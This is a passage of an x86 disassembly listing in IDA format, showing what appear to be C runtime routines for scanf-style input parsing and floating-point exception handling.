[ebp+var_E], 0 jnz loc_420DAC inc [ebp+var_34] and byte ptr [esi], 0 lea eax, [ebp+var_1C4] push eax movsx eax, [ebp+var_D] push [ebp+var_2C] dec eax push eax call off_43AC30 add esp, 0Ch jmp loc_420DAC ; --------------------------------------------------------------------------- loc_420883: ; CODE XREF: sub_420445+20Cj cmp [ebp+var_20], eax jnz short loc_420892 inc [ebp+var_C] mov [ebp+var_20], 1 loc_420892: ; CODE XREF: sub_420445+441j cmp [ebp+var_5], 0 jle short loc_42089C mov [ebp+var_16], 1 loc_42089C: ; CODE XREF: sub_420445+451j mov edi, offset dword_43AB08 jmp loc_4209B1 ; --------------------------------------------------------------------------- loc_4208A6: ; CODE XREF: sub_420445+1FDj mov eax, esi sub eax, 70h jz loc_420B54 sub eax, 3 jz loc_4209A2 dec eax dec eax jz loc_420B58 sub eax, 3 jz loc_42068E sub eax, 3 jz short loc_4208F4 loc_4208D0: ; CODE XREF: sub_420445+21Bj ; sub_420445+22Ej movzx eax, byte ptr [ebx] cmp eax, [ebp+var_14] jnz loc_420E1B dec [ebp+var_15] cmp [ebp+var_E], 0 jnz loc_420DAC mov eax, [ebp+var_44] mov [ebp+arg_8], eax jmp loc_420DAC ; --------------------------------------------------------------------------- loc_4208F4: ; CODE XREF: sub_420445+489j cmp [ebp+var_5], 0 jle short loc_4208FE mov [ebp+var_16], 1 loc_4208FE: ; CODE XREF: sub_420445+4B3j mov edi, [ebp+arg_4] inc edi mov [ebp+arg_4], edi cmp byte ptr [edi], 5Eh jnz loc_4209B5 mov eax, edi lea edi, [eax+1] jmp loc_4209B1 ; --------------------------------------------------------------------------- loc_420918: ; CODE XREF: sub_420445+24Fj cmp ebx, 2Bh jnz short loc_42093F loc_42091D: ; CODE XREF: sub_420445+259j dec [ebp+var_C] jnz short loc_42092E cmp [ebp+var_20], 0 jz short loc_42092E mov [ebp+var_F], 1 jmp short loc_42093F ; --------------------------------------------------------------------------- loc_42092E: ; CODE XREF: sub_420445+4DBj ; sub_420445+4E1j push [ebp+arg_0] inc [ebp+var_4] call sub_420EA1 mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_42093F: ; CODE XREF: sub_420445+4D6j ; sub_420445+4E7j cmp ebx, 30h jnz loc_420B8D push [ebp+arg_0] inc [ebp+var_4] call sub_420EA1 mov ebx, eax pop ecx cmp bl, 78h mov [ebp+var_14], ebx jz short loc_42098D cmp bl, 58h jz short loc_42098D cmp esi, 78h mov [ebp+var_1C], 1 jz short loc_420977 push 6Fh loc_420971: ; CODE XREF: sub_420445+55Bj pop esi jmp loc_420B8D ; --------------------------------------------------------------------------- loc_420977: ; CODE XREF: sub_420445+528j push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_420EBB pop ecx pop ecx push 30h pop ebx jmp loc_420B8A ; --------------------------------------------------------------------------- loc_42098D: ; CODE XREF: sub_420445+517j ; sub_420445+51Cj push [ebp+arg_0] inc [ebp+var_4] call sub_420EA1 pop ecx mov ebx, eax mov [ebp+var_14], ebx push 78h jmp short loc_420971 ; --------------------------------------------------------------------------- loc_4209A2: ; CODE XREF: sub_420445+46Fj cmp [ebp+var_5], 0 jle short loc_4209AC mov [ebp+var_16], 1 loc_4209AC: ; CODE XREF: sub_420445+561j mov edi, offset dword_43AB00 loc_4209B1: ; CODE XREF: sub_420445+45Cj ; sub_420445+4CEj or [ebp+var_18], 0FFh loc_4209B5: ; CODE XREF: sub_420445+4C3j push 20h lea eax, [ebp+var_64] push 0 push eax call sub_41BD10 add esp, 0Ch cmp [ebp+var_3C], 7Bh jnz short loc_4209D9 cmp byte ptr [edi], 5Dh jnz short loc_4209D9 mov dl, 5Dh inc edi mov [ebp+var_59], 20h jmp short loc_4209DC ; --------------------------------------------------------------------------- loc_4209D9: ; CODE XREF: sub_420445+584j ; sub_420445+589j mov dl, [ebp+var_35] loc_4209DC: ; CODE XREF: sub_420445+592j ; sub_420445+5E1j ... mov al, [edi] cmp al, 5Dh jz short loc_420A41 inc edi cmp al, 2Dh jnz short loc_420A28 test dl, dl jz short loc_420A28 mov cl, [edi] cmp cl, 5Dh jz short loc_420A28 inc edi cmp dl, cl jnb short loc_4209FB mov al, cl jmp short loc_4209FF ; --------------------------------------------------------------------------- loc_4209FB: ; CODE XREF: sub_420445+5B0j mov al, dl mov dl, cl loc_4209FF: ; CODE XREF: sub_420445+5B4j cmp dl, al ja short loc_420A24 movzx edx, dl movzx esi, al sub esi, edx inc esi loc_420A0C: ; CODE XREF: sub_420445+5DDj mov ecx, edx mov eax, edx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl inc edx dec esi jnz short loc_420A0C loc_420A24: ; CODE XREF: sub_420445+5BCj xor dl, dl jmp short loc_4209DC ; --------------------------------------------------------------------------- loc_420A28: ; CODE XREF: sub_420445+5A0j ; sub_420445+5A4j ... movzx ecx, al mov dl, al mov eax, ecx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl jmp short loc_4209DC ; --------------------------------------------------------------------------- loc_420A41: ; CODE XREF: sub_420445+59Bj cmp byte ptr [edi], 0 jz loc_420E4B cmp [ebp+var_3C], 7Bh jnz short loc_420A53 mov [ebp+arg_4], edi loc_420A53: ; CODE XREF: sub_420445+609j mov edi, [ebp+arg_0] mov esi, [ebp+var_2C] dec [ebp+var_4] push edi push [ebp+var_14] mov [ebp+var_30], esi call sub_420EBB pop ecx pop ecx loc_420A6A: ; CODE XREF: sub_420445+6BCj ; sub_420445+6C4j cmp [ebp+var_20], 0 jz short loc_420A7E mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz loc_420B1A loc_420A7E: ; CODE XREF: sub_420445+629j inc [ebp+var_4] push edi call sub_420EA1 cmp eax, 0FFFFFFFFh pop ecx mov [ebp+var_14], eax jz short loc_420B0E mov ecx, eax push 1 and ecx, 7 pop edx movsx ebx, [ebp+var_18] shl edx, cl mov ecx, eax sar ecx, 3 movsx ecx, [ebp+ecx+var_64] xor ecx, ebx test edx, ecx jz short loc_420B0E cmp [ebp+var_E], 0 jnz short loc_420B06 cmp [ebp+var_16], 0 jz short loc_420AFB mov ecx, off_43A680 mov [ebp+var_38], al movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_420ADA inc [ebp+var_4] push edi call sub_420EA1 pop ecx mov [ebp+var_37], al loc_420ADA: ; CODE XREF: sub_420445+686j push dword_43A88C lea eax, [ebp+var_38] push eax lea eax, [ebp+var_3E] push eax call sub_423DCB mov ax, [ebp+var_3E] add esp, 0Ch mov [esi], ax inc esi inc esi jmp short loc_420AFE ; --------------------------------------------------------------------------- loc_420AFB: ; CODE XREF: sub_420445+673j mov [esi], al inc esi loc_420AFE: ; CODE XREF: sub_420445+6B4j mov [ebp+var_2C], esi jmp loc_420A6A ; --------------------------------------------------------------------------- loc_420B06: ; CODE XREF: sub_420445+66Dj inc [ebp+var_30] jmp loc_420A6A ; --------------------------------------------------------------------------- loc_420B0E: ; CODE XREF: sub_420445+649j ; sub_420445+667j dec [ebp+var_4] push edi push eax call sub_420EBB pop ecx pop ecx loc_420B1A: ; CODE XREF: sub_420445+633j cmp [ebp+var_30], esi jz loc_420E4B cmp [ebp+var_E], 0 jnz loc_420DAC inc [ebp+var_34] cmp [ebp+var_3C], 63h jz loc_420DAC cmp [ebp+var_16], 0 mov eax, [ebp+var_2C] jz short loc_420B4C and word ptr [eax], 0 jmp loc_420DAC ; --------------------------------------------------------------------------- loc_420B4C: ; CODE XREF: sub_420445+6FCj and byte ptr [eax], 0 jmp loc_420DAC ; --------------------------------------------------------------------------- loc_420B54: ; CODE XREF: sub_420445+466j mov [ebp+var_D], 1 loc_420B58: ; CODE XREF: sub_420445+203j ; sub_420445+215j ... mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz short loc_420B66 mov [ebp+var_17], 1 jmp short loc_420B6B ; --------------------------------------------------------------------------- loc_420B66: ; CODE XREF: sub_420445+719j cmp ebx, 2Bh jnz short loc_420B8D loc_420B6B: ; CODE XREF: sub_420445+71Fj dec [ebp+var_C] jnz short loc_420B7C cmp [ebp+var_20], 0 jz short loc_420B7C mov [ebp+var_F], 1 jmp short loc_420B8D ; --------------------------------------------------------------------------- loc_420B7C: ; CODE XREF: sub_420445+729j ; sub_420445+72Fj push [ebp+arg_0] inc [ebp+var_4] call sub_420EA1 pop ecx mov ebx, eax loc_420B8A: ; CODE XREF: sub_420445+543j mov [ebp+var_14], ebx loc_420B8D: ; CODE XREF: sub_420445+4FDj ; sub_420445+52Dj ... cmp [ebp+var_30], 0 jz loc_420CA6 cmp [ebp+var_F], 0 jnz loc_420C84 loc_420BA1: ; CODE XREF: sub_420445+82Cj cmp esi, 78h jnz short loc_420BF5 cmp dword_43A88C, 1 jle short loc_420BBE push 80h push ebx call sub_41F44A pop ecx pop ecx jmp short loc_420BCB ; --------------------------------------------------------------------------- loc_420BBE: ; CODE XREF: sub_420445+768j mov eax, off_43A680 mov al, [eax+ebx*2] and eax, 80h loc_420BCB: ; CODE XREF: sub_420445+777j test eax, eax jz loc_420C76 mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 4 pop ecx call sub_423EA0 push ebx mov [ebp+var_28], eax mov [ebp+var_24], edx call sub_420E6A mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_420C48 ; --------------------------------------------------------------------------- loc_420BF5: ; CODE XREF: sub_420445+75Fj cmp dword_43A88C, 1 jle short loc_420C0A push 4 push ebx call sub_41F44A pop ecx pop ecx jmp short loc_420C15 ; --------------------------------------------------------------------------- loc_420C0A: ; CODE XREF: sub_420445+7B7j mov eax, off_43A680 mov al, [eax+ebx*2] and eax, 4 loc_420C15: ; CODE XREF: sub_420445+7C3j test eax, eax jz short loc_420C76 cmp esi, 6Fh jnz short loc_420C33 cmp ebx, 38h jge short loc_420C76 mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 3 pop ecx call sub_423EA0 jmp short loc_420C42 ; --------------------------------------------------------------------------- loc_420C33: ; CODE XREF: sub_420445+7D7j push 0 push 0Ah push [ebp+var_24] push [ebp+var_28] call sub_41DA20 loc_420C42: ; CODE XREF: sub_420445+7ECj mov [ebp+var_28], eax mov [ebp+var_24], edx loc_420C48: ; CODE XREF: sub_420445+7AEj inc [ebp+var_1C] lea eax, [ebx-30h] cdq add [ebp+var_28], eax adc [ebp+var_24], edx cmp [ebp+var_20], 0 jz short loc_420C60 dec [ebp+var_C] jz short loc_420C84 loc_420C60: ; CODE XREF: sub_420445+814j push [ebp+arg_0] inc [ebp+var_4] call sub_420EA1 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_420BA1 ; --------------------------------------------------------------------------- loc_420C76: ; CODE XREF: sub_420445+788j ; sub_420445+7D2j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_420EBB pop ecx pop ecx loc_420C84: ; CODE XREF: sub_420445+756j ; sub_420445+819j cmp [ebp+var_17], 0 jz loc_420D6A mov eax, [ebp+var_28] mov ecx, [ebp+var_24] neg eax adc ecx, 0 mov [ebp+var_28], eax neg ecx mov [ebp+var_24], ecx jmp loc_420D6A ; --------------------------------------------------------------------------- loc_420CA6: ; CODE XREF: sub_420445+74Cj cmp [ebp+var_F], 0 jnz loc_420D62 loc_420CB0: ; CODE XREF: sub_420445+90Aj cmp esi, 78h jz short loc_420CF4 cmp esi, 70h jz short loc_420CF4 cmp dword_43A88C, 1 jle short loc_420CCF push 4 push ebx call sub_41F44A pop ecx pop ecx jmp short loc_420CDA ; --------------------------------------------------------------------------- loc_420CCF: ; CODE XREF: sub_420445+87Cj mov eax, off_43A680 mov al, [eax+ebx*2] and eax, 4 loc_420CDA: ; CODE XREF: sub_420445+888j test eax, eax jz short loc_420D54 cmp esi, 6Fh jnz short loc_420CED cmp ebx, 38h jge short loc_420D54 shl edi, 3 jmp short loc_420D2C ; --------------------------------------------------------------------------- loc_420CED: ; CODE XREF: sub_420445+89Cj lea edi, [edi+edi*4] shl edi, 1 jmp short loc_420D2C ; --------------------------------------------------------------------------- loc_420CF4: ; CODE XREF: sub_420445+86Ej ; sub_420445+873j cmp dword_43A88C, 1 jle short loc_420D0C push 80h push ebx call sub_41F44A pop ecx pop ecx jmp short loc_420D19 ; --------------------------------------------------------------------------- loc_420D0C: ; CODE XREF: sub_420445+8B6j mov eax, off_43A680 mov al, [eax+ebx*2] and eax, 80h loc_420D19: ; CODE XREF: sub_420445+8C5j test eax, eax jz short loc_420D54 push ebx shl edi, 4 call sub_420E6A mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_420D2C: ; CODE XREF: sub_420445+8A6j ; sub_420445+8ADj inc [ebp+var_1C] cmp [ebp+var_20], 0 lea edi, [edi+ebx-30h] jz short loc_420D3E dec [ebp+var_C] jz short loc_420D62 loc_420D3E: ; CODE XREF: sub_420445+8F2j push [ebp+arg_0] inc [ebp+var_4] call sub_420EA1 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_420CB0 ; --------------------------------------------------------------------------- loc_420D54: ; CODE XREF: sub_420445+897j ; sub_420445+8A1j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_420EBB pop ecx pop ecx loc_420D62: ; CODE XREF: sub_420445+865j ; sub_420445+8F7j cmp [ebp+var_17], 0 jz short loc_420D6A neg edi loc_420D6A: ; CODE XREF: sub_420445+843j ; sub_420445+85Cj ... cmp esi, 46h jnz short loc_420D73 and [ebp+var_1C], 0 loc_420D73: ; CODE XREF: sub_420445+928j cmp [ebp+var_1C], 0 jz loc_420E4B cmp [ebp+var_E], 0 jnz short loc_420DAC inc [ebp+var_34] loc_420D86: ; CODE XREF: sub_420445+23Bj cmp [ebp+var_30], 0 jz short loc_420D9C mov eax, [ebp+var_2C] mov ecx, [ebp+var_28] mov [eax], ecx mov ecx, [ebp+var_24] mov [eax+4], ecx jmp short loc_420DAC ; --------------------------------------------------------------------------- loc_420D9C: ; CODE XREF: sub_420445+945j cmp [ebp+var_D], 0 mov eax, [ebp+var_2C] jz short loc_420DA9 mov [eax], edi jmp short loc_420DAC ; --------------------------------------------------------------------------- loc_420DA9: ; CODE XREF: sub_420445+95Ej mov [eax], di loc_420DAC: ; CODE XREF: sub_420445+241j ; sub_420445+414j ... inc [ebp+var_15] inc [ebp+arg_4] mov esi, [ebp+arg_4] jmp short loc_420DF9 ; --------------------------------------------------------------------------- loc_420DB7: ; CODE XREF: sub_420445+93j inc [ebp+var_4] push edi call sub_420EA1 mov ebx, eax pop ecx movzx eax, byte ptr [esi] inc esi cmp eax, ebx mov [ebp+var_14], ebx mov [ebp+arg_4], esi jnz short loc_420E26 mov ecx, off_43A680 movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_420DF9 inc [ebp+var_4] push edi call sub_420EA1 pop ecx movzx ecx, byte ptr [esi] inc esi cmp ecx, eax mov [ebp+arg_4], esi jnz short loc_420E34 dec [ebp+var_4] loc_420DF9: ; CODE XREF: sub_420445+970j ; sub_420445+99Aj cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_420E0F cmp byte ptr [esi], 25h jnz short loc_420E51 mov eax, [ebp+arg_4] cmp byte ptr [eax+1], 6Eh jnz short loc_420E51 mov esi, eax loc_420E0F: ; CODE XREF: sub_420445+9B8j mov al, [esi] test al, al jnz loc_42046F jmp short loc_420E4B ; --------------------------------------------------------------------------- loc_420E1B: ; CODE XREF: sub_420445+1F4j ; sub_420445+491j push [ebp+arg_0] dec [ebp+var_4] push [ebp+var_14] jmp short loc_420E2B ; --------------------------------------------------------------------------- loc_420E26: ; CODE XREF: sub_420445+98Aj dec [ebp+var_4] push edi push ebx loc_420E2B: ; CODE XREF: sub_420445+9DFj call sub_420EBB pop ecx pop ecx jmp short loc_420E4B ; --------------------------------------------------------------------------- loc_420E34: ; CODE XREF: sub_420445+9AFj dec [ebp+var_4] push edi push eax call sub_420EBB dec [ebp+var_4] push edi push ebx call sub_420EBB add esp, 10h loc_420E4B: ; CODE XREF: sub_420445+1Fj ; sub_420445+40Aj ... cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_420E62 loc_420E51: ; CODE XREF: sub_420445+9BDj ; sub_420445+9C6j mov eax, [ebp+var_34] test eax, eax jnz short loc_420E65 cmp [ebp+var_15], al jnz short loc_420E65 or eax, 0FFFFFFFFh jmp short loc_420E65 ; --------------------------------------------------------------------------- loc_420E62: ; CODE XREF: sub_420445+A0Aj mov eax, [ebp+var_34] loc_420E65: ; CODE XREF: sub_420445+A11j ; sub_420445+A16j ... pop edi pop esi pop ebx leave retn sub_420445 endp ; =============== S U B R O U T I N E ======================================= sub_420E6A proc near ; CODE XREF: sub_420445+7A3p ; sub_420445+8DCp arg_0 = dword ptr 4 cmp dword_43A88C, 1 push esi jle short loc_420E84 mov esi, [esp+4+arg_0] push 4 push esi call sub_41F44A pop ecx pop ecx jmp short loc_420E93 ; --------------------------------------------------------------------------- loc_420E84: ; CODE XREF: sub_420E6A+8j mov esi, [esp+4+arg_0] mov eax, off_43A680 mov al, [eax+esi*2] and eax, 4 loc_420E93: ; CODE XREF: sub_420E6A+18j test eax, eax jnz short loc_420E9D and esi, 0FFFFFFDFh sub esi, 7 loc_420E9D: ; CODE XREF: sub_420E6A+2Bj mov eax, esi pop esi retn sub_420E6A endp ; =============== S U B R O U T I N E ======================================= sub_420EA1 proc near ; CODE XREF: sub_420445+1E1p ; sub_420445+289p ... arg_0 = dword ptr 4 mov edx, [esp+arg_0] dec dword ptr [edx+4] js short loc_420EB3 mov ecx, [edx] movzx eax, byte ptr [ecx] inc ecx mov [edx], ecx retn ; --------------------------------------------------------------------------- loc_420EB3: ; CODE XREF: sub_420EA1+7j push edx call sub_41EF78 pop ecx retn sub_420EA1 endp ; =============== S U B R O U T I N E ======================================= sub_420EBB proc near ; CODE XREF: sub_420445+6Bp ; sub_420445+3FFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFFFh jz short locret_420ED1 push [esp+arg_4] push [esp+4+arg_0] call sub_423EBF pop ecx pop ecx locret_420ED1: ; CODE XREF: sub_420EBB+5j retn sub_420EBB endp ; =============== S U B R O U T I N E ======================================= sub_420ED2 proc near ; CODE XREF: sub_420445+63p ; sub_420445+1D3p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi loc_420ED8: ; CODE XREF: sub_420ED2+1Dj push [esp+8+arg_4] inc dword ptr [esi] call sub_420EA1 mov edi, eax push edi call sub_41DE10 pop ecx test eax, eax pop ecx jnz short loc_420ED8 mov eax, edi pop edi pop esi retn sub_420ED2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __fastcall sub_420EF6(int,int,double,int) sub_420EF6 proc near ; CODE XREF: sub_41CDE5+51p ; sub_41CF2B+51p var_1C = qword ptr -1Ch var_14 = qword ptr -14h var_C = qword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h push ebp mov ebp, esp cmp dword_43B000, 0 jnz short loc_420F2B push [ebp+arg_C] ; int fld qword ptr [ebp+arg_4] push ecx push ecx ; double fstp [esp+0Ch+var_C] push ecx ; int push ecx ; int fldz fstp [esp+14h+var_14] fld qword ptr [ebp+arg_4] push ecx ; int push ecx ; int fstp [esp+1Ch+var_1C] push [ebp+arg_0] ; int push 1 ; int call sub_4214AB add esp, 24h pop ebp retn ; --------------------------------------------------------------------------- loc_420F2B: ; CODE XREF: sub_420EF6+Aj push 0FFFFh mov dword_4D9714, 21h push [ebp+arg_C] call sub_42171E fld qword ptr [ebp+arg_4] pop ecx pop ecx pop ebp retn sub_420EF6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_420F49(int,int,double,double,int) sub_420F49 proc near ; CODE XREF: sub_41CDE5:loc_41CEA8p ; sub_41CF2B:loc_41CFEEp var_74 = qword ptr -74h var_6C = qword ptr -6Ch var_64 = qword ptr -64h var_5C = dword ptr -5Ch var_58 = byte ptr -58h var_20 = dword ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = qword ptr 10h arg_10 = qword ptr 18h arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 58h push [ebp+arg_18] lea eax, [ebp+arg_10] push eax push [ebp+arg_0] call sub_421294 add esp, 0Ch test eax, eax jnz short loc_420F87 lea eax, [ebp+arg_10] and [ebp+var_20], 0FFFFFFFEh push eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+arg_18] push [ebp+arg_4] push [ebp+arg_0] push eax lea eax, [ebp+var_58] push eax call sub_420FE1 add esp, 18h loc_420F87: ; CODE XREF: sub_420F49+1Aj push [ebp+arg_0] call sub_42157E cmp dword_43B000, 0 pop ecx jnz short loc_420FC5 test eax, eax jz short loc_420FC5 push [ebp+arg_18] ; int fld [ebp+arg_10] push ecx push ecx ; double fstp [esp+64h+var_64] push ecx ; int push ecx ; int fldz fstp [esp+6Ch+var_6C] fld [ebp+arg_8] push ecx ; int push ecx ; int fstp [esp+74h+var_74] push [ebp+arg_4] ; int push eax ; int call sub_4214AB add esp, 24h leave retn ; --------------------------------------------------------------------------- loc_420FC5: ; CODE XREF: sub_420F49+4Ej ; sub_420F49+52j push eax call sub_421533 mov [esp+5Ch+var_5C], 0FFFFh push [ebp+arg_18] call sub_42171E fld [ebp+arg_10] pop ecx pop ecx leave retn sub_420F49 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420FE1 proc near ; CODE XREF: sub_420F49+36p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp mov ecx, [ebp+arg_0] xor eax, eax push ebx push esi mov [ecx+4], eax mov ecx, [ebp+arg_0] push edi push 1 mov [ecx+8], eax mov ecx, [ebp+arg_0] pop ebx mov [ecx+0Ch], eax mov cl, byte ptr [ebp+arg_8] test cl, 10h jz short loc_421013 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Fh or [eax+4], ebx loc_421013: ; CODE XREF: sub_420FE1+23j test cl, 2 jz short loc_421026 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000093h or dword ptr [eax+4], 2 loc_421026: ; CODE XREF: sub_420FE1+35j test cl, bl jz short loc_421038 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000091h or dword ptr [eax+4], 4 loc_421038: ; CODE XREF: sub_420FE1+47j test cl, 4 jz short loc_42104B mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Eh or dword ptr [eax+4], 8 loc_42104B: ; CODE XREF: sub_420FE1+5Aj test cl, 8 jz short loc_42105E mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000090h or dword ptr [eax+4], 10h loc_42105E: ; CODE XREF: sub_420FE1+6Dj mov esi, [ebp+arg_4] mov eax, [ebp+arg_0] push 2 mov ecx, [esi] mov edx, [eax+8] not ecx and ecx, ebx and edx, 0FFFFFFEFh shl ecx, 4 or ecx, edx pop edi mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] and ecx, 4 shl ecx, 1 and edx, 0FFFFFFF7h or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 1 and ecx, 4 and edx, 0FFFFFFFBh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 3 and ecx, edi and edx, 0FFFFFFFDh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 5 and ecx, ebx and edx, 0FFFFFFFEh or ecx, edx mov [eax+8], ecx call sub_421701 test al, bl jz short loc_4210E7 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 10h loc_4210E7: ; CODE XREF: sub_420FE1+FDj test al, 4 jz short loc_4210F2 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 8 loc_4210F2: ; CODE XREF: sub_420FE1+108j test al, 8 jz short loc_4210FD mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 4 loc_4210FD: ; CODE XREF: sub_420FE1+113j test al, 10h jz short loc_421107 mov ecx, [ebp+arg_0] or [ecx+0Ch], edi loc_421107: ; CODE XREF: sub_420FE1+11Ej test al, 20h jz short loc_421111 mov eax, [ebp+arg_0] or [eax+0Ch], ebx loc_421111: ; CODE XREF: sub_420FE1+128j mov eax, [esi] mov ecx, 0C00h and eax, ecx jz short loc_421150 cmp eax, 400h jz short loc_421142 cmp eax, 800h jz short loc_421136 cmp eax, ecx jnz short loc_421156 mov eax, [ebp+arg_0] or dword ptr [eax], 3 jmp short loc_421156 ; --------------------------------------------------------------------------- loc_421136: ; CODE XREF: sub_420FE1+147j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFEh or ecx, edi jmp short loc_42114C ; --------------------------------------------------------------------------- loc_421142: ; CODE XREF: sub_420FE1+140j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFDh or ecx, ebx loc_42114C: ; CODE XREF: sub_420FE1+15Fj mov [eax], ecx jmp short loc_421156 ; --------------------------------------------------------------------------- loc_421150: ; CODE XREF: sub_420FE1+139j mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFFCh loc_421156: ; CODE XREF: sub_420FE1+14Bj ; sub_420FE1+153j ... mov eax, [esi] mov ecx, 300h and eax, ecx jz short loc_421181 cmp eax, 200h jz short loc_421174 cmp eax, ecx jnz short loc_42118E mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFE3h jmp short loc_42118E ; --------------------------------------------------------------------------- loc_421174: ; CODE XREF: sub_420FE1+185j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFE7h or ecx, 4 jmp short loc_42118C ; --------------------------------------------------------------------------- loc_421181: ; CODE XREF: sub_420FE1+17Ej mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFEBh or ecx, 8 loc_42118C: ; CODE XREF: sub_420FE1+19Ej mov [eax], ecx loc_42118E: ; CODE XREF: sub_420FE1+189j ; sub_420FE1+191j mov eax, [ebp+arg_0] mov ecx, [ebp+arg_C] and ecx, 0FFFh mov edx, [eax] shl ecx, 5 and edx, 0FFFE001Fh or ecx, edx mov [eax], ecx mov eax, [ebp+arg_0] or [eax+20h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+20h] and ecx, 0FFFFFFE3h or ecx, edi mov [eax+20h], ecx mov eax, [ebp+arg_10] fld qword ptr [eax] mov eax, [ebp+arg_0] fstp qword ptr [eax+10h] mov eax, [ebp+arg_0] or [eax+50h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+50h] and ecx, 0FFFFFFE3h or ecx, edi mov edi, [ebp+arg_14] mov [eax+50h], ecx mov eax, [ebp+arg_0] fld qword ptr [edi] fstp qword ptr [eax+40h] call sub_42170F lea eax, [ebp+arg_0] push eax push ebx push 0 push [ebp+arg_8] nop call near ptr 266044Bh mov eax, [ebp+arg_0] test byte ptr [eax+8], 10h jz short loc_421208 and dword ptr [esi], 0FFFFFFFEh loc_421208: ; CODE XREF: sub_420FE1+222j test byte ptr [eax+8], 8 jz short loc_421211 and dword ptr [esi], 0FFFFFFFBh loc_421211: ; CODE XREF: sub_420FE1+22Bj test byte ptr [eax+8], 4 jz short loc_42121A and dword ptr [esi], 0FFFFFFF7h loc_42121A: ; CODE XREF: sub_420FE1+234j test byte ptr [eax+8], 2 jz short loc_421223 and dword ptr [esi], 0FFFFFFEFh loc_421223: ; CODE XREF: sub_420FE1+23Dj test [eax+8], bl jz short loc_42122B and dword ptr [esi], 0FFFFFFDFh loc_42122B: ; CODE XREF: sub_420FE1+245j mov ecx, [eax] mov edx, 0FFFFF3FFh and ecx, 3 sub ecx, 0 jz short loc_42125F dec ecx jz short loc_421253 dec ecx jz short loc_421249 dec ecx jnz short loc_421261 or byte ptr [esi+1], 0Ch jmp short loc_421261 ; --------------------------------------------------------------------------- loc_421249: ; CODE XREF: sub_420FE1+25Dj mov ecx, [esi] and ch, 0FBh or ch, 8 jmp short loc_42125B ; --------------------------------------------------------------------------- loc_421253: ; CODE XREF: sub_420FE1+25Aj mov ecx, [esi] and ch, 0F7h or ch, 4 loc_42125B: ; CODE XREF: sub_420FE1+270j mov [esi], ecx jmp short loc_421261 ; --------------------------------------------------------------------------- loc_42125F: ; CODE XREF: sub_420FE1+257j and [esi], edx loc_421261: ; CODE XREF: sub_420FE1+260j ; sub_420FE1+266j ... mov ecx, [eax] shr ecx, 2 and ecx, 7 sub ecx, 0 jz short loc_421281 dec ecx jz short loc_421278 dec ecx jnz short loc_42128A and [esi], edx jmp short loc_42128A ; --------------------------------------------------------------------------- loc_421278: ; CODE XREF: sub_420FE1+28Ej mov ecx, [esi] and ecx, edx or ch, 2 jmp short loc_421288 ; --------------------------------------------------------------------------- loc_421281: ; CODE XREF: sub_420FE1+28Bj mov ecx, [esi] and ecx, edx or ch, 3 loc_421288: ; CODE XREF: sub_420FE1+29Ej mov [esi], ecx loc_42128A: ; CODE XREF: sub_420FE1+291j ; sub_420FE1+295j fld qword ptr [eax+40h] fstp qword ptr [edi] pop edi pop esi pop ebx pop ebp retn sub_420FE1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421294 proc near ; CODE XREF: sub_420F49+10p var_24 = qword ptr -24h var_C = qword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = 